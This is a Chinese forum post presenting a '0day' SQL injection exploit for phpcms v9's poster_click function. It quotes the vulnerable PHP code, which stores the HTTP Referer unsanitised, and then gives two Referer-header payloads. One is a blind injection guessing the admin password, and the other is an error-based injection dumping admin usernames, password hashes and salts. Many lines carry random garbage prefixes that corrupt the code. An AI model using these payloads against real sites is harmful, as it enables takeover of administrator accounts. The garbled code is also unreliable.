phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

* z2 F2 b. Q1 N/ j' J8 T问题函数\phpcms\modules\poster\index.php

public function poster_click() {
& [' z* U+ X& b0 h. r$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
' Y* |. U' x4 \0 d" {- h$r = $this->db->get_one(array('id'=>$id));
1 T4 n! P$ |* l! A6 Eif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
2 [( n2 a" d9 P$ x8 N+ x5 L' |# a: L7 z& R$ip = ip();
9 I" i/ o0 x( r- a% }$area = $ip_area->get($ip);
8 S5 I* k/ o5 }- H  R9 P/ q$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
. D* d5 m% t$ \/ v( ?1 q$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
4 v: w) c9 _+ s. y) X* H$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
5 J9 y0 R7 W+ \+ zif (count($setting)==1) {
$url = $setting['1']['linkurl'];
! ~8 a  C- e6 u3 A1 G3 d% c} else {
3 K9 w/ z- b8 H6 B4 H$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}


' `9 a5 t6 ]5 b# ~# D
! Y# }4 C1 ?6 u6 p7 G' l- F7 l- H利用方式：
; Z% i  X6 o$ ^5 H% P( K
1、可以采用盲注入的手法：

. g8 L* F' T: v6 Nreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

# ]0 h) P; n; `通过返回页面，正常与否一个个猜解密码字段。

; ^6 y+ @# F* p8 F2、代码是花开写的，随手附上了：

1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
9 g0 e3 ^8 u) M& ?+ y
此方法是爆错注入手法，原理自查。
